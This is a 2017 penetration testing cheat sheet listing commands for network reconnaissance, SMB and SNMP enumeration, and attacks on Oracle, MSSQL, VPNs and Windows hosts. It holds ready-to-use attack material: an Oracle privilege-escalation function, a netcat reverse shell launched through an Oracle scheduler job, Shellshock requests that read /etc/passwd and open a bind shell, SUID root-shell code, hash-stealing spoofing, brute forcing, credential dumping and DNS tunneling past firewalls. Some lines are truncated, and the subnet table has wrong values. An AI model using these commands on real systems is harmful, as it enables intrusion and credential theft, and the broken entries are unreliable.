



Penetration Testing Tools Cheat Sheet ∞

CHEAT-SHEET

17 Feb 2017



Arr0way

Introduction

Penetration testing tools cheat sheet, a quick reference high level overview for typical penetration testing engagements. Designed as a quick reference cheat sheet providing a high level overview of the **typical** commands you would run when performing a penetration test. For more in depth information I'd recommend the man file for the tool or a more specific pen testing cheat sheet from the menu on the right.

The focus of this cheat sheet is infrastructure / network penetration testing, web application penetration testing is not covered here apart from a few sqlmap commands at the end and some web server enumeration.

Changelog

17/02/2017 - Article updated, added loads more content, VPN, DNS tunneling, VLAN hopping etc - check out the TOC below.

Pre-engagement

Network Configuration

Set IP Address

Table of Contents

- Introduction
 - Changelog
- Pre-engagement
 - Network Configuration
 - Set IP Address
 - Subnetting
- OSINT
 - Passive Information Gathering
 - DNS
 - WHOIS enumeration
 - Perform DNS IP Lookup
 - Perform MX Record Lookup
 - Perform Zone Transfer with DIG
- DNS Zone Transfers
 - Email
 - Simply Email
 - Semi Active Information Gathering
 - Basic Finger Printing
 - Banner grabbing with NC
 - Active Information Gathering

- DNS Bruteforce
 - DNSRecon
 - Port Scanning
 - Nmap Commands
 - Nmap UDP Scanning
 - UDP Protocol Scanner
 - Other Host Discovery
- Enumeration & Attacking Network Services
 - SAMB / SMB / Windows Domain Enumeration
 - Samba Enumeration
 - SMB Enumeration Tools
 - Fingerprint SMB Version
 - Find open SMB Shares
 - Enumerate SMB Users
 - Manual Null session testing:
 - NBTScan unixwiz
 - LLMNR / NBT-NS Spoofing
 - Metasploit LLMNR / NetBIOS requests
 - Responder.py
 - SNMP Enumeration
 - SNMPv3 Enumeration
 - R Services Enumeration
 - RSH Enumeration
 - RSH Run Commands
 - Metasploit RSH Login Scanner
 - rusers Show Logged in Users
 - rusers scan whole Subnet
 - Finger Enumeration
 - Finger a Specific Username
 - Solaris bug that shows all logged in users:
 - rwho
- TLS & SSL Testing
 - testssl.sh
- Vulnerability Assessment
- Database Penetration Testing
 - Oracle
 - Fingerprint Oracle TNS Version
 - Brute force oracle user accounts
 - Oracle Privilege Escalation
 - Identify default accounts within oracle db using NMAP NSE scripts:
 - How to identify the current privilege level for an oracle user:
 - Oracle priv esc and obtain DBA access:
 - Run the exploit with a select query:

- Remove the exploit using:
 - Get Oracle Reverse os-shell:
- MSSQL
 - Bruteforce MSSQL Login
 - Metasploit MSSQL Shell
- Network
 - Plink.exe Tunnel
 - Pivoting
 - SSH Pivoting
 - Meterpreter Pivoting
 - TTL Finger Printing
 - IPv4 Cheat Sheets
 - Classful IP Ranges
 - IPv4 Private Address Ranges
 - IPv4 Subnet Cheat Sheet
 - VLAN Hopping
 - VPN Hacking
 - IKEForce
 - IKE Aggressive Mode PSK Cracking
 - Step 1: Identify IKE Servers
 - Step 2: Enumerate group name with IKEForce
 - Step 3: Use ike-scan to capture the PSK hash
 - Step 4: Use psk-crack to crack the PSK hash
 - PPTP Hacking
 - NMAP PPTP Fingerprint:
 - PPTP Dictionary Attack
 - DNS Tunneling
 - Attacking Machine
- BOF / Exploit
- Exploit Research
 - Searching for Exploits
 - Compiling Windows Exploits on Kali
 - Cross Compiling Exploits
 - Exploiting Common Vulnerabilities
 - Exploiting Shellshock
 - cat file (view file contents)
 - Shell Shock run bind shell
 - Shell Shock reverse Shell
- Simple Local Web Servers
- Mounting File Shares
- HTTP / HTTPS Webserver Enumeration
- Packet Inspection

- Username Enumeration
 - SMB User Enumeration
 - SNMP User Enumeration
- Passwords
 - Wordlists
- Brute Forcing Services
 - Hydra FTP Brute Force
 - Hydra POP3 Brute Force
 - Hydra SMTP Brute Force
- Password Cracking
 - John The Ripper - JTR
- Windows Penetration Testing Commands
- Linux Penetration Testing Commands
- Compiling Exploits
 - Identifying if C code is for Windows or Linux
 - Build Exploit GCC
 - GCC Compile 32Bit Exploit on 64Bit Kali
 - Compile Windows.exe on Linux
- SUID Binary
 - SUID C Shell for /bin/bash
 - SUID C Shell for /bin/sh
 - Building the SUID Shell binary
- Reverse Shells
- TTY Shells
 - Python TTY Shell Trick
 - Spawn Interactive sh shell
 - Spawn Perl TTY Shell
 - Spawn Ruby TTY Shell
 - Spawn Lua TTY Shell
 - Spawn TTY Shell from Vi
 - Spawn TTY Shell NMAP
- Metasploit
 - Meterpreter Payloads
 - Windows reverse meterpreter payload
 - Windows VNC Meterpreter payload
 - Linux Reverse Meterpreter payload
- Meterpreter Cheat Sheet
- Common Metasploit Modules
 - Remote Windows Metasploit Modules (exploits)
 - Local Windows Metasploit Modules (exploits)
 - Auxiliary Metasploit Modules
 - Metasploit Powershell Modules

- Post Exploit Windows Metasploit Modules
- ASCII Table Cheat Sheet
- CISCO IOS Commands
- Cryptography
 - Hash Lengths
 - Hash Examples
- SQLMap Examples

```
ifconfig eth0 xxx.xxx.xxx.xxx/24
```

Subnetting

```
ipcalc xxx.xxx.xxx.xxx/24  
ipcalc xxx.xxx.xxx.xxx 255.255.255.0
```

OSINT

Passive Information Gathering

DNS

WHOIS enumeration

```
whois domain-name-here.com
```

Perform DNS IP Lookup

```
dig a domain-name-here.com @nameserver
```

Perform MX Record Lookup

```
dig mx domain-name-here.com @nameserver
```

Perform Zone Transfer with DIG

```
dig axfr domain-name-here.com @nameserver
```

DNS Zone Transfers

COMMAND	DESCRIPTION
<code>nslookup -> set type=any -> ls -d blah.com</code>	Windows DNS zone transfer
<code>dig axfr blah.com @ns1.blah.com</code>	Linux DNS zone transfer

Email

Simply Email

Use Simply Email to enumerate all the online places (github, target site etc), it works better if you use proxies or set long throttle times so google doesn't think you're a robot and make you fill out a Captcha.

```
git clone https://github.com/killswitch-GUI/SimplyEmail.git
./SimplyEmail.py -all -e TARGET-DOMAIN
```

Simply Email can verify the discovered email addresss after gathering.

Semi Active Information Gathering

Basic Finger Printing

Manual finger printing / banner grabbing.

COMMAND	DESCRIPTION
<code>nc -v 192.168.1.1 25</code>	Basic versioning / finger printing via displayed banner
<code>telnet 192.168.1.1 25</code>	

Banner grabbing with NC

```
nc TARGET-IP 80
GET / HTTP/1.1
Host: TARGET-IP
User-Agent: Mozilla/5.0
Referrer: meh-domain
<enter>
```

Active Information Gathering

DNS Bruteforce

DNSRecon

DNS Enumeration Kali - DNSRecon

```
root:~# dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml
```

Port Scanning

Nmap Commands

For more commands, see the Nmap cheat sheet (link in the menu on the right).

Basic Nmap Commands:

COMMAND	DESCRIPTION
<code>nmap -v -sS -A -T4 target</code>	Nmap verbose scan, runs syn stealth, T4 timing (should be ok on LAN), OS and service version info, traceroute and scripts against services
<code>nmap -v -sS -p--A -T4 target</code>	As above but scans all TCP ports (takes a lot longer)
<code>nmap -v -sU -sS -p- -A -T4 target</code>	As above but scans all TCP ports and UDP scan (takes even longer)
<code>nmap -v -p 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.1.X</code>	Nmap script to scan for vulnerable SMB servers - WARNING: unsafe=1 may cause knockover
<code>ls /usr/share/nmap/scripts/* grep ftp</code>	Search nmap scripts for keywords

Nmap UDP Scanning

```
nmap -sU TARGET
```

UDP Protocol Scanner

```
git clone https://github.com/portcullislabs/udp-proto-scanner.git
```

Scan a file of IP addresses for all services:

```
./udp-protocol-scanner.pl -f ip.txt
```

Scan for a specific UDP service:

```
udp-proto-scanner.pl -p ntp -f ips.txt
```

Other Host Discovery

Other methods of host discovery, that don't use nmap...

COMMAND	DESCRIPTION
<code>netdiscover -r 192.168.1.0/24</code>	Discovers IP, MAC Address and MAC vendor on the subnet from ARP, helpful for confirming you're on the right VLAN at \$client site

Enumeration & Attacking Network Services

Tools that will specifically identify and / or enumerate network services:

SAMB / SMB / Windows Domain Enumeration

Samba Enumeration

SMB Enumeration Tools

```
nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target
```

Also see, nbtscan cheat sheet (right hand menu).

COMMAND	DESCRIPTION
<code>nbtscan 192.168.1.0/24</code>	Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain
<code>enum4linux -a target-ip</code>	Do Everything, runs all options (find windows client domain / workgroup) apart from dictionary based share name guessing

Fingerprint SMB Version

```
smbclient -L //192.168.1.100
```

Find open SMB Shares

```
nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 192.168.1.0/24
```

Enumerate SMB Users

```
nmap -sU -sS --script=smb-enum-users -p U:137,T:139 192.168.11.200-254
```

```
python /usr/share/doc/python-impacket-doc/examples
/samrdump.py 192.168.XXX.XXX
```

RID Cycling:

```
ridenum.py 192.168.XXX.XXX 500 50000 dict.txt
```

Metasploit module for RID cycling:

```
use auxiliary/scanner/smb/smb_lookupsid
```

Manual Null session testing:

Windows:


```
net use \\TARGET\IPC$ "" /u:""
```

Linux:

```
smbclient -L //192.168.99.131
```

NBTScan unixwiz

Install on Kali rolling:

```
apt-get install nbtscan-unixwiz  
nbtscan-unixwiz -f 192.168.0.1-254 > nbtscan
```

LLMNR / NBT-NS Spoofing

Steal credentials off the network.

Metasploit LLMNR / NetBIOS requests

Spoof / poison LLMNR / NetBIOS requests:

```
auxiliary/spoof/llmnr/llmnr_response  
auxiliary/spoof/nbns/nbns_response
```

Capture the hashes:

```
auxiliary/server/capture/smb  
auxiliary/server/capture/http_ntlm
```

You'll end up with NTLMv2 hash, use john or hashcat to crack it.

Responder.py

Alternatively you can use responder.

```
git clone https://github.com/SpiderLabs/Responder.git  
python Responder.py -i local-ip -l eth0
```



Run Responder.py for the whole engagement

Run Responder.py for the length of the engagement while you're working on other attack vectors.

SNMP Enumeration

Fix SNMP output values so they are human readable:

```
apt-get install snmp-mibs-downloader download-mibs
echo "" > /etc/snmp/snmp.conf
```

COMMAND

DESCRIPTION

```
snmpcheck -t 192.168.1.X -c public
```

```
snmpwalk -c public -v1 192.168.1.X 1|
```

```
grep hrSWRunName|cut -d* * -f
```

```
snmpenum -t 192.168.1.X
```

```
onesixtyone -c names -i hosts
```

SNMP enumeration

SNMPv3 Enumeration

Identify SNMPv3 servers with nmap:

```
nmap -sV -p 161 --script=snmp-info TARGET-SUBNET
```

Rory McCune's snmpwalk wrapper script helps automate the username enumeration process for SNMPv3:

```
apt-get install snmp snmp-mibs-downloader
wget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb
```



Use Metasploits Wordlist

Metasploit's wordlist (KALI path below) has common credentials for v1 & 2 of SNMP, for newer credentials check out Daniel Miessler's SecLists project on GitHub (not the mailing list!).

```
/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt
```

R Services Enumeration

This is legacy, included for completeness.

nmap -A will perform all the rservices enumeration listed below, this section has been added for completeness or manual confirmation:

RSH Enumeration

RSH Run Commands

```
rsh <target> <command>
```

Metasploit RSH Login Scanner

```
auxiliary/scanner/rservices/rsh_login
```

rsusers Show Logged in Users

```
rsusers -al 192.168.2.1
```

rsusers scan whole Subnet

```
rlogin -l <user> <target>
```

e.g rlogin -l root TARGET-SUBNET/24

Finger Enumeration

```
finger @TARGET-IP
```

Finger a Specific Username

```
finger batman@TARGET-IP
```

Solaris bug that shows all logged in users:

```
finger 0@host
```

SunOS: RPC services allow user enum:

```
$ rsusers # users logged onto LAN
```

```
finger 'a b c d e f g h'@sunhost
```

rwho

Use nmap to identify machines running rwhod (513 UDP)

TLS & SSL Testing

testssl.sh

Test all the things on a single host and output to a .html file:

```
./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U TARGET-HOST | aha > OUTPUT-FILE.html
```

Vulnerability Assessment

Install OpenVAS 8 on Kali Rolling:

```
apt-get update
apt-get dist-upgrade -y
apt-get install openvas
openvas-setup
```

Verify openvas is running using:

```
netstat -tulpn
```

Login at <https://127.0.0.1:9392> - credentials are generated during openvas-setup.

Database Penetration Testing

Attacking database servers exposed on the network.

Oracle

Install oscanner:

```
apt-get install oscanner
```

Run oscanner:

```
oscanner -s 192.168.1.200 -P 1521
```

Fingerprint Oracle TNS Version

Install tnscommand10g:

```
apt-get install tnscommand10g
```

Fingerprint oracle tns:

```
tnscommand10g version -h TARGET
nmap --script=oracle-tns-version
```

Brute force oracle user accounts

Identify default Oracle accounts:

```
nmap --script=oracle-sid-brute
nmap --script=oracle-brute
```

Run nmap scripts against Oracle TNS:

```
nmap -p 1521 -A TARGET
```

Oracle Privilege Escalation

Requirements:

- Oracle needs to be exposed on the network
- A default account is in use like scott

Quick overview of how this works:

1. Create the function
2. Create an index on table SYS.DUAL
3. The index we just created executes our function SCOTT.DBA_X
4. The function will be executed by SYS user (as that's the user that owns the table).
5. Create an account with DBA privileges

In the example below the user SCOTT is used but this should be possible with another default Oracle account.

Identify default accounts within oracle db using NMAP NSE scripts:

```
nmap --script=oracle-sid-brute
nmap --script=oracle-brute
```

Login using the identified weak account (assuming you find one).

How to identify the current privilege level for an oracle user:

```
SQL> select * from session_privs;
```

```
SQL> CREATE OR REPLACE FUNCTION GETDBA(FOO varchar) return varchar deterministic authid
curren_user is
pragma autonomous_transaction;
begin
execute immediate 'grant dba to user1 identified by pass1';
commit;
return 'FOO';
end;
```

Oracle priv esc and obtain DBA access:

Run netcat: `netcat -nvlp 443` code>

```
SQL> create index exploit_1337 on SYS.DUAL(SCOTT.GETDBA('BAR'));
```

Run the exploit with a select query:

```
SQL> Select * from session_privs;
```

You should have a DBA user with creds user1 and pass1.

Verify you have DBA privileges by re-running the first command again.

Remove the exploit using:

```
drop index exploit_1337;
```

Get Oracle Reverse os-shell:

```
begin
dbms_scheduler.create_job( job_name => 'MEH1337',job_type =>
'EXECUTABLE',job_action => '/bin/nc',number_of_arguments => 4,start_date =>
SYSTIMESTAMP,enabled => FALSE,auto_drop => TRUE);
dbms_scheduler.set_job_argument_value('rev_shell', 1, 'TARGET-IP');
dbms_scheduler.set_job_argument_value('rev_shell', 2, '443');
dbms_scheduler.set_job_argument_value('rev_shell', 3, '-e');
dbms_scheduler.set_job_argument_value('rev_shell', 4, '/bin/bash');
dbms_scheduler.enable('rev_shell');
end;
```

MSSQL

Enumeration / Discovery:

Nmap:

```
nmap -sU --script=ms-sql-info 192.168.1.108 192.168.1.156
```

Metasploit:

```
msf > use auxiliary/scanner/mssql/mssql_ping
```



Use MS SQL Servers Browse For More

Try using "Browse for More" via MS SQL Server Management Studio

Bruteforce MSSQL Login

```
msf > use auxiliary/admin/mssql/mssql_enum
```

Metasploit MSSQL Shell

```
msf > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
```

Network

Plink.exe Tunnel

PuTTY Link tunnel

Forward remote port to local address:

```
plink.exe -P 22 -l root -pw "1337" -R 445:127.0.0.1:445 REMOTE-IP
```

Pivoting

SSH Pivoting

```
ssh -D 127.0.0.1:1010 -p 22 user@pivot-target-ip
```

Add socks4 127.0.0.1 1010 in /etc/proxychains.conf

SSH pivoting from one network to another:

```
ssh -D 127.0.0.1:1010 -p 22 user1@ip-address-1
```

Add socks4 127.0.0.1 1010 in /etc/proxychains.conf

```
proxychains ssh -D 127.0.0.1:1011 -p 22 user1@ip-address-2
```

Add socks4 127.0.0.1 1011 in /etc/proxychains.conf

Meterpreter Pivoting

TTL Finger Printing

OPERATING SYSTEM	TTL SIZE
Windows	128
Linux	64
Solaris	255
Cisco / Network	255

IPv4 Cheat Sheets

Classful IP Ranges

E.g Class A,B,C (depreciated)

CIDR	DECIMAL MASK	NUMBER OF HOSTS
/31	255.255.255.254	1 Host
/30	255.255.255.252	2 Hosts
/29	255.255.255.249	6 Hosts
/28	255.255.255.240	14 Hosts
/27	255.255.255.224	30 Hosts
/26	255.255.255.192	62 Hosts
/25	255.255.255.128	126 Hosts
/24	255.255.255.0	254 Hosts
/23	255.255.254.0	512 Host
/22	255.255.252.0	1022 Hosts
/21	255.255.248.0	2046 Hosts
/20	255.255.240.0	4094 Hosts
/19	255.255.224.0	8190 Hosts
/18	255.255.192.0	16382 Hosts
/17	255.255.128.0	32766 Hosts
/16	255.255.0.0	65534 Hosts
/15	255.254.0.0	131070 Hosts
/14	255.252.0.0	262142 Hosts
/13	255.248.0.0	524286 Hosts
/12	255.240.0.0	1048674 Hosts
/11	255.224.0.0	2097150 Hosts
/10	255.192.0.0	4194302 Hosts
/9	255.128.0.0	8388606 Hosts
/8	255.0.0.0	16777214 Hosts

VLAN Hopping

Using NCCGroups VLAN wrapper script for Yersina simplifies the process.

```
git clone https://github.com/nccgroup/vlan-hopping.git
chmod 700 frogger.sh
./frogger.sh
```

VPN Hacking

Identify VPN servers:

```
./udp-protocol-scanner.pl -p ike TARGET(s)
```

Scan a range for VPN servers:

```
./udp-protocol-scanner.pl -p ike -f ip.txt
```

IKEForce

Use IKEForce to enumerate or dictionary attack VPN servers.

Install:

```
pip install pyip
git clone https://github.com/SpiderLabs/ikeforce.git
```

Perform IKE VPN enumeration with IKEForce:

```
./ikeforce.py TARGET-IP -e -w wordlists/groupnames.dic
```

Bruteforce IKE VPN using IKEForce:

```
./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1
```

```
ike-scan
ike-scan TARGET-IP
ike-scan -A TARGET-IP
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key
```

IKE Aggressive Mode PSK Cracking

1. Identify VPN Servers
2. Enumerate with IKEForce to obtain the group ID
3. Use ike-scan to capture the PSK hash from the IKE endpoint
4. Use psk-crack to crack the hash

Step 1: Identify IKE Servers

```
./udp-protocol-scanner.pl -p ike SUBNET/24
```

Step 2: Enumerate group name with IKEForce

```
./ikeforce.py TARGET-IP -e -w wordlists/groupnames.dic
```

Step 3: Use ike-scan to capture the PSK hash

```
ike-scan -M -A -n example_group -P hash-file.txt TARGET-IP
```

Step 4: Use psk-crack to crack the PSK hash

```
psk-crack hash-file.txt
```

Some more advanced psk-crack options below:

```
pskcrack
```

```
psk-crack -b 5 TARGET-IPkey
```

```
psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key
```

```
psk-crack -d /path/to/dictionary-file TARGET-IP-key
```

PPTP Hacking

Identifying PPTP, it listens on TCP: 1723

NMAP PPTP Fingerprint:

```
nmap -Pn -sV -p 1723 TARGET(S)
```

PPTP Dictionary Attack

```
thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst
```

DNS Tunneling

Tunneling data over DNS to bypass firewalls.

dnscat2 supports "download" and "upload" commands for getting files (data and programs) to and from the target machine.

Attacking Machine

Installation:

```
apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install
```

Run dnscat2:

```
ruby ./dnscat2.rb
dnscat2> New session established: 1422
dnscat2> session -i 1422
```

Target Machine:

<https://downloads.skullsecurity.org/dnscat2/> <https://github.com/lukebaggett/dnscat2-powershell/>

```
dnscat --host <dnscat server_ip>
```

BOF / Exploit

Exploit Research

Find exploits for enumerated hosts / services.

COMMAND	DESCRIPTION
<code>searchsploit windows 2003 grep -i local</code>	Search exploit-db for exploit, in this example windows 2003 + local esc
<code>site:exploit-db.com exploit kernel <= 3</code>	Use google to search exploit-db.com for exploits
<code>grep -R "W7" /usr/share/metasploit-framework/modules/exploit/windows/*</code>	Search metasploit modules using grep - msf search sucks a bit

Searching for Exploits

Install local copy of exploit-db:

```
searchsploit -u
searchsploit apache 2.2
searchsploit "Linux Kernel"
searchsploit linux 2.6 | grep -i ubuntu | grep local
```

Compiling Windows Exploits on Kali

```
wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
wine mingw-get-setup.exe
select mingw32-base
cd /root/.wine/drive_c/windows
wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
cd /root/.wine/drive_c/MinGW/bin
wine gcc -o ability.exe /tmp/exploit.c -lwsck32
wine ability.exe
```

Cross Compiling Exploits

```
gcc -m32 -o output32 hello.c (32 bit)
gcc -m64 -o output hello.c (64 bit)
```

Exploiting Common Vulnerabilities

Exploiting Shellshock

A tool to find and exploit servers vulnerable to Shellshock:

```
git clone https://github.com/nccgroup/shocker
```

```
./shocker.py -H TARGET --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose
```

cat file (view file contents)

```
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :; }; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | n
```

Shell Shock run bind shell

```
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :; }; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | n
```

Shell Shock reverse Shell

```
nc -l -p 443
```

Simple Local Web Servers

Python local web server command, handy for serving up shells and exploits on an attacking machine.

COMMAND

DESCRIPTION

```
python -m SimpleHTTPServer 80
```

Run a basic http server, great for serving up shells etc

```
python3 -m http.server
```

Run a basic Python3 http server, great for serving up shells etc

```
ruby -rwebrick -e "WEBrick::HTTPServer.new  
(:Port => 80, :DocumentRoot => Dir.pwd).start"
```

Run a ruby webrick basic http server

```
php -S 0.0.0.0:80
```

Run a basic PHP http server

Mounting File Shares

How to mount NFS / CIFS, Windows and Linux file shares.

COMMAND

DESCRIPTION

```
mount 192.168.1.1:/vol/share /mnt/nfs
```

Mount NFS share to `/mnt/nfs`

```
mount -t cifs -o username=user,password=pass  
,domain=blah //192.168.1.X/share-name /mnt/cifs
```

Mount Windows CIFS / SMB share on Linux at `/mnt/cifs` if you remove password it will prompt on the CLI (more secure as it wont end up in bash_history)

```
net use Z: \\win-server\share password  
/user:domain\janedoe /savecred /p:no
```

Mount a Windows share on Windows from the command line

```
apt-get install smb4k -y
```

Install smb4k on Kali, useful Linux GUI for browsing SMB shares

HTTP / HTTPS Webserver Enumeration

COMMAND

DESCRIPTION

```
nikto -h 192.168.1.1
```

Perform a nikto scan against target

```
dirbuster
```

Configure via GUI, CLI input doesn't work most of the time

Packet Inspection

COMMAND

DESCRIPTION

```
tcpdump tcp port 80 -w output.pcap -i eth0
```

tcpdump for port 80 on interface eth0, outputs to output.pcap

Username Enumeration

Some techniques used to remotely enumerate users on a target system.

SMB User Enumeration

COMMAND	DESCRIPTION
<code>python /usr/share/doc/python-impacket-doc/examples/samrdump.py 192.168.XXX.XXX</code>	Enumerate users from SMB
<code>ridenum.py 192.168.XXX.XXX 500 50000 dict.txt</code>	RID cycle SMB / enumerate users from SMB

SNMP User Enumeration

COMMAND	DESCRIPTION
<code>snmpwalk public -v1 192.168.X.XXX 1 grep 77.1.2.25 cut -d" " -f4</code>	Enmerate users from SNMP
<code>python /usr/share/doc/python-impacket-doc/examples/samrdump.py SNMP 192.168.X.XXX</code>	Enmerate users from SNMP
<code>nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt</code> (then grep)	Search for SNMP servers with nmap, grepable output

Passwords

Wordlists

COMMAND	DESCRIPTION
<code>/usr/share/wordlists</code>	Kali word lists

Brute Forcing Services

Hydra FTP Brute Force

COMMAND	DESCRIPTION
<code>hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 192.168.X.XXX ftp -V</code>	Hydra FTP brute force

Hydra POP3 Brute Force

COMMAND	DESCRIPTION
<code>hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 192.168.X.XXX pop3 -V</code>	Hydra POP3 brute force

Hydra SMTP Brute Force

COMMAND	DESCRIPTION
hydra -P /usr/share/wordlists/nmap.lst 192.168.X.XXX smtp -V	Hydra SMTP brute force
Use <code>-t</code> to limit concurrent connections, example: <code>-t 15</code> Password Cracking John The Ripper - JTR	
COMMAND	DESCRIPTION
john --wordlist=/usr/share/wordlists/rockyou.txt hashes	JTR password cracking
john --format=descrypt --wordlist /usr/share/wordlists/rockyou.txt hash.txt	JTR forced descrypt cracking with wordlist
john --format=descrypt hash --show	JTR forced descrypt brute force cracking
Windows Penetration Testing Commands See Windows Penetration Testing Commands. Linux Penetration Testing Commands See Linux Commands Cheat Sheet (right hand menu) for a list of Linux Penetration testing commands, useful for local system enumeration. Compiling Exploits Some notes on compiling exploits. Identifying if C code is for Windows or Linux C #includes will indicate which OS should be used to build the exploit.	
COMMAND	DESCRIPTION
process.h, string.h, winbase.h, windows.h, winsock2.h	Windows exploit code
arpa/inet.h, fcntl.h, netdb.h, netinet/in.h, sys/socket.h, sys/types.h,unistd.h	Linux exploit code
Build Exploit GCC Compile exploit gcc.	
COMMAND	DESCRIPTION
gcc -o exploit exploit.c	Basic GCC compile

GCC Compile 32Bit Exploit on 64Bit Kali

Handy for cross compiling 32 bit binaries on 64 bit attacking machines.

COMMAND

```
gcc -m32 exploit.c -o exploit
```

DESCRIPTION

Cross compile 32 bit binary on 64-bit Linux

Compile Windows .exe on Linux

Build / compile windows exploits on Linux, resulting in a .exe file.

COMMAND

```
i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe
```

DESCRIPTION

Compile windows .exe on Linux

SUID Binary

Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required.

below are some quick copy and paste examples for various shells:

SUID C Shell for /bin/bash

```
int main(void){
    setresuid(0, 0, 0);
    system("/bin/bash");
}
```

SUID C Shell for /bin/sh

```
int main(void){
    setresuid(0, 0, 0);
    system("/bin/sh");
}
```

Building the SUID Shell binary

```
gcc -o suid suid.c
```

For 32 bit:

```
gcc -m32 -o suid suid.c
```

Reverse Shells

See [Reverse Shell Cheat Sheet](#) for a list of useful Reverse Shells.

TTY Shells

Tips / Tricks to spawn a TTY shell from a limited shell in Linux, useful for running commands like `su` from reverse shells.

Python TTY Shell Trick

```
python -c 'import pty;pty.spawn("/bin/bash")'
```

```
echo os.system('/bin/bash')
```

Spawn Interactive sh shell

```
/bin/sh -i
```

Spawn Perl TTY Shell

```
exec "/bin/sh";  
perl -e 'exec "/bin/sh";'
```

Spawn Ruby TTY Shell

```
exec "/bin/sh"
```

Spawn Lua TTY Shell

```
os.execute('/bin/sh')
```

Spawn TTY Shell from Vi

Run shell commands from vi:

```
:!bash
```

Spawn TTY Shell NMAP

```
!sh
```

Metasploit

Some basic Metasploit stuff, that I have found handy for reference.

Basic Metasploit commands, useful for reference, for pivoting see - [Meterpreter Pivoting techniques](#).

Meterpreter Payloads

Windows reverse meterpreter payload

COMMAND	DESCRIPTION
set payload windows/meterpreter/reverse_tcp	Windows reverse tcp payload

Windows VNC Meterpreter payload

COMMAND

DESCRIPTION

set payload windows/vncinject/reverse_tcp

set ViewOnly false

Meterpreter Windows VNC Payload

Linux Reverse Meterpreter payload

COMMAND

DESCRIPTION

set payload linux/meterpreter/reverse_tcp

Meterpreter Linux Reverse Payload

Meterpreter Cheat Sheet

Useful meterpreter commands.

COMMAND

DESCRIPTION

upload file c:\\windows

Meterpreter upload file to Windows target

download c:\\windows\\repair\\sam /tmp

Meterpreter download file from Windows target

download c:\\windows\\repair\\sam /tmp

Meterpreter download file from Windows target

execute -f c:\\windows\\temp\\exploit.exe

Meterpreter run .exe on target - handy for executing uploaded exploits

execute -f cmd -c

Creates new channel with cmd shell

ps

Meterpreter show processes

shell

Meterpreter get shell on the target

getsystem

Meterpreter attempts privilege escalation the target

hashdump

Meterpreter attempts to dump the hashes on the target

portfwd add -l 3389 -p 3389 -r target

Meterpreter create port forward to target machine

portfwd delete -l 3389 -p 3389 -r target

Meterpreter delete port forward

Common Metasploit Modules

Top metasploit modules.

Remote Windows Metasploit Modules (exploits)

COMMAND

DESCRIPTION

use exploit/windows/smb/ms08_067_netapi

MS08_067 Windows 2k, XP, 2003 Remote Exploit

use exploit/windows/dcerpc/ms06_040_netapi

MS08_040 Windows NT, 2k, XP, 2003 Remote Exploit

use exploit/windows/smb/
ms09_050_smb2_negotiate_func_index

MS09_050 Windows Vista SP1/SP2 and Server 2008 (x86) Remote Exploit

Local Windows Metasploit Modules (exploits)

COMMAND

DESCRIPTION

use exploit/windows/local/bypassuac

Bypass UAC on Windows 7 + Set target + arch, x86/64

Auxiliary Metasploit Modules

COMMAND

DESCRIPTION

use auxiliary/scanner/http/dir_scanner

Metasploit HTTP directory scanner

use auxiliary/scanner/http/jboss_vulnscan

Metasploit JBOSS vulnerability scanner

use auxiliary/scanner/mssql/mssql_login

Metasploit MSSQL Credential Scanner

use auxiliary/scanner/mysql/mysql_version

Metasploit MSSQL Version Scanner

use auxiliary/scanner/oracle/oracle_login

Metasploit Oracle Login Module

Metasploit Powershell Modules

COMMAND

DESCRIPTION

use exploit/multi/script/web_delivery

Metasploit powershell payload delivery module

post/windows/manage/powershell/exec_powershell

Metasploit upload and run powershell script through a session

use exploit/multi/http/jboss_maindeployer

Metasploit JBOSS deploy

use exploit/windows/mssql/mssql_payload

Metasploit MSSQL payload

Post Exploit Windows Metasploit Modules

Windows Metasploit Modules for privilege escalation.

COMMAND	DESCRIPTION
run post/windows/gather/win_privs	Metasploit show privileges of current user
use post/windows/gather/credentials/gpp	Metasploit grab GPP saved passwords
load mimikatz -> wdigest	Metasploit load Mimikatz
run post/windows/gather/local_admin_search_enum	Identify other machines that the supplied domain user has administrative access to
run post/windows/gather/smart_hashdump	Automated dumping of sam file, tries to esc privileges etc

ASCII Table Cheat Sheet

Useful for Web Application Penetration Testing, or if you get stranded on Mars and need to communicate with NASA.

ASCII	CHARACTER
x00	Null Byte
x08	BS
x09	TAB
x0a	LF
x0d	CR
x1b	ESC
x20	SPC
x21	!
x22	"
x23	#
x24	\$
x25	%
x26	&
x27	`
x28	(
x29	)
x2a	*
x2b	+
x2c	,
x2d	-

x2e	.
x2f	/
x30	0
x31	1
x32	2
x33	3
x34	4
x35	5
x36	6
x37	7
x38	8
x39	9
x3a	:
x3b	;
x3c	<
x3d	=
